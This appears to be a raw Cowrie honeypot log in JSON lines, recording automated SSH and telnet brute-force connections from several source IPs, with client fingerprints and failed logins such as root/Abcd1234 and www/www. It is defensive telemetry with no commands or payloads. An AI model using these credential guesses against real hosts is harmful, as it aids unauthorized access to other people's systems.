{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:29.104516Z","src_ip":"94.26.106.229","session":"2fba665265ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57886,"dst_ip":"159.203.135.109","dst_port":22,"session":"df1da8430bf6","protocol":"ssh","message":"New connection: 94.26.106.229:57886 (159.203.135.109:22) [session: df1da8430bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:29.790554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:29.794904Z","src_ip":"94.26.106.229","session":"df1da8430bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:29.883337Z","src_ip":"94.26.106.229","session":"df1da8430bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48116,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eab68cefa99","protocol":"ssh","message":"New connection: 45.156.87.204:48116 (159.203.135.109:22) [session: 9eab68cefa99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:29.994458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:29.998921Z","src_ip":"45.156.87.204","session":"9eab68cefa99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:30.081915Z","src_ip":"45.156.87.204","session":"9eab68cefa99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:30.271449Z","src_ip":"94.26.106.229","session":"df1da8430bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:30.560252Z","src_ip":"45.156.87.204","session":"9eab68cefa99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:31.362469Z","src_ip":"94.26.106.229","session":"df1da8430bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:31.647291Z","src_ip":"45.156.87.204","session":"9eab68cefa99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57898,"dst_ip":"159.203.135.109","dst_port":22,"session":"55d03546f80e","protocol":"ssh","message":"New connection: 94.26.106.229:57898 (159.203.135.109:22) [session: 55d03546f80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:31.928128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:31.932658Z","src_ip":"94.26.106.229","session":"55d03546f80e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:32.019822Z","src_ip":"94.26.106.229","session":"55d03546f80e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:32.322141Z","src_ip":"94.26.106.229","session":"55d03546f80e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:33.409144Z","src_ip":"94.26.106.229","session":"55d03546f80e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45784,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f9eea034b71","protocol":"ssh","message":"New connection: 45.156.87.204:45784 (159.203.135.109:22) [session: 8f9eea034b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:33.868685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:33.872515Z","src_ip":"45.156.87.204","session":"8f9eea034b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:33.954446Z","src_ip":"45.156.87.204","session":"8f9eea034b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:34.198523Z","src_ip":"45.156.87.204","session":"8f9eea034b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":57106,"dst_ip":"159.203.135.109","dst_port":22,"session":"422a9834f6d8","protocol":"ssh","message":"New connection: 43.128.86.117:57106 (159.203.135.109:22) [session: 422a9834f6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:34.290417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:34.293850Z","src_ip":"43.128.86.117","session":"422a9834f6d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:34.538094Z","src_ip":"43.128.86.117","session":"422a9834f6d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:35.283194Z","src_ip":"45.156.87.204","session":"8f9eea034b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"game","password":"game123","message":"login attempt [game/game123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:35.552521Z","src_ip":"43.128.86.117","session":"422a9834f6d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:36.800972Z","src_ip":"43.128.86.117","session":"422a9834f6d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45790,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a4514cf88d8","protocol":"ssh","message":"New connection: 45.156.87.204:45790 (159.203.135.109:22) [session: 4a4514cf88d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:37.430601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:37.434798Z","src_ip":"45.156.87.204","session":"4a4514cf88d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:37.517355Z","src_ip":"45.156.87.204","session":"4a4514cf88d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:37.763152Z","src_ip":"45.156.87.204","session":"4a4514cf88d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":22128,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf717af6efdf","protocol":"ssh","message":"New connection: 94.26.106.229:22128 (159.203.135.109:22) [session: bf717af6efdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:38.248404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:38.376190Z","src_ip":"94.26.106.229","session":"bf717af6efdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:38.380617Z","src_ip":"94.26.106.229","session":"bf717af6efdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:38.850726Z","src_ip":"45.156.87.204","session":"4a4514cf88d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"armin","password":"armin","message":"login attempt [armin/armin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:38.941913Z","src_ip":"94.26.106.229","session":"bf717af6efdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:40.027992Z","src_ip":"94.26.106.229","session":"bf717af6efdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45798,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4d9e81ab3ba","protocol":"ssh","message":"New connection: 45.156.87.204:45798 (159.203.135.109:22) [session: b4d9e81ab3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:41.024411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:41.130680Z","src_ip":"45.156.87.204","session":"b4d9e81ab3ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:41.134079Z","src_ip":"45.156.87.204","session":"b4d9e81ab3ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:41.614437Z","src_ip":"45.156.87.204","session":"b4d9e81ab3ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:42.699377Z","src_ip":"45.156.87.204","session":"b4d9e81ab3ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54830,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6187f5f3b1c","protocol":"telnet","message":"New connection: 152.42.224.71:54830 (10.17.0.5:23) [session: e6187f5f3b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:42.706790Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":52710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea70afaedbb5","protocol":"ssh","message":"New connection: 94.26.106.229:52710 (159.203.135.109:22) [session: ea70afaedbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:43.617146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:43.621976Z","src_ip":"94.26.106.229","session":"ea70afaedbb5","protocol":"ssh"}
